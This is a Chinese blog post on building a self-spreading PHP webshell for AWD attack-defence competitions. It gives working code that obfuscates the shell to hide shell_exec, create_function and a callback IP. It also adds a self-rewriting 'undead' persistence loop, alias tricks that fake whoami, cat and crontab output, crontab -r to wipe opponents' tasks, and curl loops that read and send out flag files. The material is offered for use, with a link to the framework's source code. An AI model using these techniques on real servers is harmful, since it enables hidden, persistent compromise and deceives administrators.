基於AWD比賽的蠕蟲webshell(四)

原創投稿活動:http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ

蠕蟲webshell雖然功能比較複雜,但是看懂了代碼還是有機會進行防禦和被他人利用的,還是有必要進行代碼混淆的。

歷史文章:

蠕蟲webshell代碼功能詳情:https://mp.weixin.qq.com/s/8jrb_q8oysSfC2CC6m13bw

蠕蟲webshell復活框架:https://mp.weixin.qq.com/s/R9TDu5QdUnPUtfV-_v0iCw

蠕蟲webshell適配msf、前端傳播與反滲透 :https://zhuanlan.zhihu.com/write

0x00 蠕蟲webshell代碼混淆

先說混淆後的效果,報1級變量函數,但考慮到蠕蟲webshell是要每個php文件都要插入這麼大段代碼,大家都是做安全的明白人應該知道這個有問題,所以暫時達到混淆的目的,免殺就不多考慮了。

基於AWD比賽的蠕蟲webshell(四)

混淆後總體效果,僅只有1行代碼:

基於AWD比賽的蠕蟲webshell(四)

混淆解釋和原理:

定義一個包含str_replace的字符串,加入混淆字符串mR3s,後面使用str_replace替換mR3s中間字符,就會剩下str_replace了,

後面會使用這個變量來替代更多函數。

$JuGjDjgsM=str_replace('mR3s', '', $assd);//str_replace

蠕蟲webshell後面會檢查第一行是否存在此檢索字符,否則重複寫入蠕蟲webshell

$author = '3s_NwGeek';

後面定義兩個關鍵的編碼和加密函數base64_decode和str_rot13

$saddd='bup4Tasup4Te6up4T4_dup4Teup4Tcode';// base64_decode混淆字符串 
$osmHO='c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEz'; //str_rot13混淆字符串

變量可以通過變量函數寫出來一些字符串編碼或者換位的函數

$JuGjDjgsM=str_replace('mR3s', '', $assd);//str_replace 
$KjHggsG=$JuGjDjgsM('up4T','',$saddd);//base64_decode
$PLiskmr=$JuGjDjgsM('pOke4tf','',$KjHggsG($osmHO));//str_rot13
$sAtArR4E4V=$JuGjDjgsM('kks','',$KjHggsG('c3Rra3NycmVra3N2'));//strrev()

有了以上的字符串處理函數,可以寫一個加解密函數方便後續寫代碼

可以寫出一個加密函數:

str_replace(‘=’,$osmHO,strrev(base64_encode(str_rot13(“明文”))))

function encr($text){
global $JuGjDjgsM,$PLiskmr,$sAtArR4E4V,$osmHO;
return $JuGjDjgsM('=',$osmHO,$sAtArR4E4V(base64_encode($PLiskmr($text))));
}

由上再寫一個解密函數: str_rot13((base64_decode(strrev(str_replace(‘=’,$osmHO,密文)))

if (!function_exists('O0o0OOo')) { 
function O0o0OOo($enc){
global $JuGjDjgsM,$PLiskmr,$sAtArR4E4V,$KjHggsG,$osmHO;
return $PLiskmr($KjHggsG($sAtArR4E4V($JuGjDjgsM($osmHO,'=',($enc)))));
}}

蠕蟲webshell中可以通過解密函數,把自己加密好的密文用蠕蟲webshell中解密函數解出來,作為變量函數去調用。

if (!function_exists('O0o0OOo')) {
function O0o0OOo($enc){
global $JuGjDjgsM,$PLiskmr,$sAtArR4E4V,$KjHggsG,$osmHO;
return $PLiskmr($KjHggsG($sAtArR4E4V($JuGjDjgsM($osmHO,'=',($enc)))));
}}

由以上變量編碼替換和rot13可以得到:

create_function

$Oo0oO=O0o0OOo('hJmdnBXYoN3XydmbyVGc');//create_function

function O0o0OOo()解密函數

$oOoOo=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzc3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzgYCJEMiBjQ');//function O0o0OOo()解密函數

我們通過之前的加密函數加密好的字符串,再用上面這個function O0o0OOo()解密函數解密出來定義為變量。

就可以得出:

is_dir

$oOOOOo=O0o0OOo('lZXcfZmd');//is_dir

opendir

$oOO0Oo=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzc3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzQZ2FXYyNmY');//opendir

readdir

$o0O0O0=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzc3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzQZ2FXcuJXZ');//readdir

closedir

$o000O0=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzUmdxJnZilHc');//closedir

fputs

$Oo00O0=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzY2ZoN2c');//fputs

fopen

$Oo0oO0=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzEmcjJ2c');//fopen

fget

$O00oo0=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzY2ZyR3c');//fget

fclose

$Oo0oo0=O0o0OOo('yZmY5B3c');//fclose

fwrite

$Oo00=O0o0OOo('ydmdlp2c');//fwrite

chr

$Oo0ooo=O0o0OOo('lVHc');//chr

shell_exec

$O00o0=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzc3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzAcytmcflXeyVnZ');//shell_exec

rawurlencode

$Oooooo=O0o0OOo('yFnYwFmc5VGaq5WZ');//rawurlencode

'192.168.3.1'

$b = $oOoOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzEjLz4CO2EjLykTM');//'192.168.3.1'

0x01 混淆效果

然後把危險函數給替換掉,去掉縮進換成1行,把變量命名得難分辨效果如下圖。

基於AWD比賽的蠕蟲webshell(四)

0x02 不死蠕蟲webshell

混淆之後,為了更好地維持權限,我再嵌套了大家常用的不死馬,成為不死蠕蟲webshell,測試過並沒有影響功能的。

set_time_limit(0);
ignore_user_abort(1);
while(1){
file_put_contents(__FILE__,base64_decode('
這裡填充base64_encode(混淆後的蠕蟲webshell代碼)
'));
touch(__FILE__,mktime(20,15,1,11,28,2017));
usleep(100);
}
?>

到這裡蠕蟲webshell就告一段落了,有需要可以蠕蟲webshell框架源碼可以在github下載

https://github.com/3sNwgeek/awd_worm_phpwebshell_framework/。

談談awd攻防賽幾個有趣的技巧

一、alias別名 (權限)

對方執行whoami命令的時候回顯就是Excute fail

alias whoami="echo 'Excute fail'"
基於AWD比賽的蠕蟲webshell(四)

對方執行cat /flag 命令的時候回顯就是錯誤flag

alias cat="echo `date`|md5sum|cut -d ' ' -f1||"
基於AWD比賽的蠕蟲webshell(四)

對方執行crontab命令的時候回顯就是no crontab for 當前用戶

crontab -r 
alias crontab="echo no crontab for `whoami` ||"
基於AWD比賽的蠕蟲webshell(四)

其次還可以幫其他人服務器清除計劃任務,減少分值被平分的機會。

替換命令,其他攻擊者不知道更改命令,getflag操作可能不成功

注意是www-data權限,和比賽得到的xctf權限都最好替換

防:使用絕對路徑執行命令 /usr/bin/cat /flag

二、獲取getflag方式和提交flag方式信息

常見比賽getflag方式有兩種:

1. 儲存在靶機本地根目錄或網站根目錄

2. 需要在靶機http訪問flag服務器

根據以上兩種getflag方式,有以下2種submit flag方式 1. 帶token get/post請求

curl http://flag.host/submit.php?flag={xxx}&token=xxx

curl http://flag.host/submit.php -d flag={xxx}&token=xxx 2. 帶cookie get/post請求

curl http://flag.host/submit.php?flag={xxx} -H cookie:xxx

根據這些getflag和submit flag方式,在實戰中又可以區分為兩種方式完成:

一般情況下比賽靶機為linux

  1. 靶機getflag+攻擊機submit flag

靶機命令執行返回flag再使用py腳本批量提交

  1. 靶機getflag&submit flag(重點推薦)

我在比賽中主要使用這種方式每隔2分鐘循環提交flag一次。

flag在本地獲取再提交

curl http://flag.host/submit.php?flag=$(cat /var/www/html/flag)&token=xxx -H cookie:xxx

flag在flag機獲取再提交

curl http://flag.host/submit.php?flag=$(curl http://flag.host/getflag.php)&token=xxx -H cookie:xxx

插上一個循環就可以一勞永逸了,除非對手重置環境或者服務,不然是一直提交的。

'while true;do curl http://flaghost/submit_flag/ -d "flag=$(cat /var/www/html/flag.txt)&token=666";sleep 60;done;'

三、捕獲別人flag token

如果比賽有限制提交flag次數(防爆破),本地抓流量如果別人在靶機本地用token提交flag,可以利用別人flag token發送超限次數,導致當輪該token無法再提交更多flag(一般限制次數一千),就是比賽方也沒有明令禁止不能用別人的token交flag,戰術犯規。

聲明:筆者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為後果自負,與合天智匯及原作者無關!


分享到:


相關文章: